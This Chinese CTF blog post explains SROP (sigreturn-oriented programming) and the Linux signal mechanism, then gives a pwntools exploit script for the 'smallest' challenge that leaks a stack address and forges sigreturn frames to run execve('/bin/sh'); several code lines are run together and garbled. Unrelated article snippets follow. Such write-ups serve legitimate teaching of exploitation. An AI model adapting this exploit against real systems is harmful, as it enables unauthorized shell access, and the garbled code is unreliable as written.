SROP


title: SROP
date: 2018-02-21 19:58:12
categories: 栈溢出
tags:
- CTF
- PWN
- 栈溢出


SROP全称为 Sigreturn Oriented Programming ,表明利用sigreturn这个函数实现ROP的技术。

参考资料

http://www.freebuf.com/articles/network/87447.html
http://bobao.360.cn/learning/detail/3694.html
http://bobao.360.cn/learning/detail/3675.html
http://mutepig.club/index.php/archives/55/
http://www.angelwhu.com/blog/?p=504

Signal机制

776576-20180223111410670-718348000.png

  1. 首先,当由中断或异常产生时,会发出一个信号,然后会送给相关进程,此时系统切换到内核模式。
    内核会执行do_signal()函数,最终会调用setup_frame()函数来设置用户栈。
    (在栈中保存了进入内核前所有寄存器的信息,还会push一个 signal function 的返回地址——sigruturn()的地址)

  2. 当这些准备工作完成后,就开始执行由用户指定的signal function了。
    (调用的函数)

  3. 当执行完后,因为返回地址被设置为sigreturn()系统调用的地址了,所以此时系统又会陷入内核执行sigreturn()系统调用。
    (恢复保存的寄存器的信息)

利用思路

由于程序中并没有sigreturn调用,所以我们得自己构造,正好这里有read函数调用,所以我们可以通过read函数读取的字节数来设置rax的值。

重要思路如下

通过控制read读取的字符数来设置RAX寄存器的值,从而执行sigreturn
通过syscall执行execve(“/bin/sh”,0,0)来获取shell。

示例

这里以360春秋杯中的smallest-pwn为例

#coding=utf8
from pwn import *
from LibcSearcher import *
small = ELF('./smallest')
# if args['REMOTE']:
#     sh = remote('127.0.0.1', 7777)
# else:
sh = process('./smallest')
context.arch = 'amd64'
context.log_level = 'debug'
syscall_ret = 0x00000000004000BE
start_addr = 0x00000000004000B0
## set start addr three timespayload = p64(start_addr) * 3
# gdb.attach(sh)
sh.send(payload)## modify the return addr to start_addr+3
## so that skip the xor rax,rax; then the rax=1
## get stack addr# gdb.attach(sh)
sh.send('\xb3')stack_addr = u64(sh.recv()[8:16])
print "stack_addr = " + hex(stack_addr)
log.success('leak stack addr :' + hex(stack_addr))## make the rsp point to stack_addr
## the frame is read(0,stack_addr,0x400)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
print "constants.SYS_read = " + hex(sigframe.rax)
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)# gdb.attach(sh)
sh.send(payload)## set rax=15 and call sigreturn
sigreturn = p64(syscall_ret) + 'A' * 7  # 覆盖上面的 'a'*8# gdb.attach(sh)
sh.send(sigreturn)## call execv("/bin/sh",0,0)
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = stack_addr + 0x120  # "/bin/sh" 's addr
sigframe.rsi = 0x0
sigframe.rdx = 0x0
sigframe.rsp = stack_addr
sigframe.rip = syscall_retframe_payload = p64(start_addr) + 'b' * 8 + str(sigframe)
print len(frame_payload)
payload = frame_payload + (0x120 - len(frame_payload)) * '\x00' + '/bin/sh\x00'# gdb.attach(sh)
sh.send(payload)# gdb.attach(sh)
sh.send(sigreturn)sh.interactive()

转载于:https://www.cnblogs.com/amliaw4/p/8461273.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/428140.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python字符串的方法和列表的方法_Python学习笔记字符串操作之join()和split()方法,列表转字符串,字符串转列表...

随笔记录方便自己和同路人查阅。#------------------------------------------------我是可耻的分割线-------------------------------------------如果有一个字符串列表,需要将它们连接起来,成为一个单独的字符串,join()方法就很有用。join…

变量的比较之equals 与 == 的区别

Java的数据类型分为两种 1.基本数据类型,byte,short,char,int,long,float,double,boolean,只要使用运算符就可以了,进行比较只是简单进行比较其中的字节组合。 两个引用变量是否引用到堆上的同一个对象,也可以使用。 2.复杂的对象…

scheduledthreadpoolexecutor使用_ScheduledThreadPoolExecutor详解

本文主要分为两个部分,第一部分首先会对ScheduledThreadPoolExecutor进行简单的介绍,并且会介绍其主要API的使用方式,然后介绍了其使用时的注意点,第二部分则主要对ScheduledThreadPoolExecutor的实现细节进行介绍。1. 使用简介Sc…

SpringContextHolder 静态持有SpringContext的引用

SpringContextHolder 静态持有SpringContext的引用 package com.test.quartz;import org.springframework.context.ApplicationContext; import org.springframework.context.ApplicationContextAware;/**** 以静态变量保存Spring ApplicationContext, 可在任何代码任何地方任何…

canvas绘制图像image

canvas绘制图像image 1.image的三个script的基本语法 准备工作:1.定义画布长度,获取2D绘图环境 ​ 2.建立对面对象,设置图片路径 ​ 3.载入图片,开始绘制 a.简单的画布上根据坐标绘制 ctx.drawImage(img,x,y) img为要绘制的图像&#…

根据时间戳生成编号_分布式系统的唯一ID生成算法对比

在复杂分布式系统中,往往需要对大量的数据和消息进行唯一标识。那么如何实现全局唯一id呢?有以下几种方案。(1)方案一:独立数据库自增id这个方案就是说你的系统每次要生成一个id,都是往一个独立库的一个独立表里插入一条没什么业务…

Ubuntu上安装Samba服务器实现家庭共享

如何在Ubuntu上安装Samba服务器 大多数Linux发行版都包含Samba。 要在Ubuntu上安装Samba,只需运行: sudo apt install samba 要检查您的Samba版本,请运行 sudo smbstatus 或者 sudo smbd --version 输出格式如下: Samba version …

解决使用Servlet输出乱码问题(一行代码解决一切)

使用servlet接收表单数据后,输出出现了乱码,如下: 解决方法: 将下面这行代码粘到你重写的doGet或者doPost方法里就可以了。 response.setContentType("text/html;charsetutf-8");

利用一维数组求菲波那契数列前40项的和并输出结果。_[W2D2]斐波那契数列

题目链接:斐波那契数列 - 题目 - 青藤 OJ题目来源:经典题题目大意输入 ,输出 0,1 开头的斐波那契数列的第 n 项。这里我们不讨论递推方法,我们采用这道简单的题目简单说一下记忆化搜索相关内容。解法首先,基…

Python网络编程(1)-socket

我会在近期尽快更新好之前写的博客,会添加新的知识点和注意问题,排版和内容都会较之前有很大的改观,感谢大家一直的支持! 1、 客户端/服务器架构 客户端/服务器架构也称主从式架构,简称C/S架构,它是一种网络…

Canvas之进度条的制作(矩形,圆环)

Canvas之进度条的绘制 基本进度条的绘制 1.矩形进度条 关键语法 获取画笔 var ctxdocument.getElementById(“id”).getContext(“2d”); 填充颜色 ctx.fillStytle“color”; setInternal()和clearInternal()的使用 代码(两种类型): <!DOCTYPE html> <html>…

该文件没有与之关联的程序来执行该操作_Liunx tty子系统分析之三 tty字符设备文件操作接口说明...

本章主要介绍tty字符设备文件对应的操作接口&#xff0c;从而说明tty设备的数据打开、关闭、读、写等接口的实现等内容。tyy file_operations定义tty字符设备文件操作接口的定义如下&#xff0c;主要包括tty_fops、console_fops、hung_up_tty_fops&#xff0c;其中console_fops…

jboss安装

找到压缩包 打开eclipse help 倒数第三个 找到hibernate.tools 转载于:https://www.cnblogs.com/xusongfeng/p/8473311.html

初学echart的简单使用

简单的echart使用方法 1.引入外部echart的js文件 <script type"text/javascript" src"js/echarts.min.js"></script> 2.建立放置容器&#xff0c;div使用放置容器布局 放置容器配置 <style>body {text-align: center;}#domain1 {widt…

如何编写一个python项目

https://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493182103fac9270762a000/001397616003925a3d157284cd24bc0952d6c4a7c9d8c55000 实战Day 1 - 搭建开发环境Day 2 - 编写数据库模块Day 3 - 编写ORMDay 4 - 编写ModelDay 5 - 编写Web框架Day 6 - 添加配置文件Day …

列名 userid 不明确。 表结构_那些你不知道的表结构设计思路

ERP表结构的设计--第9篇用日志记录“开源软件”的诞生赤龙ERP开源地址&#xff1a;点亮星标&#xff0c;感谢支持&#xff0c;与开发者交流 kzca2000码云&#xff1a;https://gitee.com/redragon/redragon-erpGitHub&#xff1a;https://github.com/redragon1985/redragon-erp赤…

echart的进阶使用(option)

echart的option进阶使用 1.title: { text: 折线图堆叠subtext: 有一定误差,left: center }title用来配置标题 subtext:副标题 left:位置 2.tooltip: { trigger: axis }图标的提示框组件 trigger&#xff08;触发方式&#xff09;:axis(坐标轴) item(数据项) 3.legend: {…

python找人_python之找最后一个人

题目大概是:有10个人围成一圈&#xff0c;从第一个人数&#xff0c;数到3的人出局&#xff0c;问最后一个人是谁?围成一圈&#xff0c;那就是无限循环&#xff0c;直至最后一个人&#xff0c;我们可以把10个人看做一个列表&#xff0c;每循环一次就把除3为0的数去除&#xff0…

PCL—关键点检测(rangeImage)低层次点云处理

博客转载自&#xff1a;http://www.cnblogs.com/ironstark/p/5046479.html 关键点又称为感兴趣的点&#xff0c;是低层次视觉通往高层次视觉的捷径&#xff0c;抑或是高层次感知对低层次处理手段的妥协。 ——三维视觉关键点检测 1.关键点&#xff0c;线&#xff0c;面 关键点 …

lombok的使用三部曲及使用中遇到的问题(持续更新)

lombok的使用 1.安装lombok插件 工欲善其事&#xff0c;必先利其器&#xff08;这一点是不能忘记的&#xff0c;好多小伙伴可能只导入了依赖&#xff0c;却忘了去下载安装插件&#xff09; 2.导入lombok依赖&#xff0c;看准了千万别倒错 导入依赖&#xff0c;记得更新PoM文件…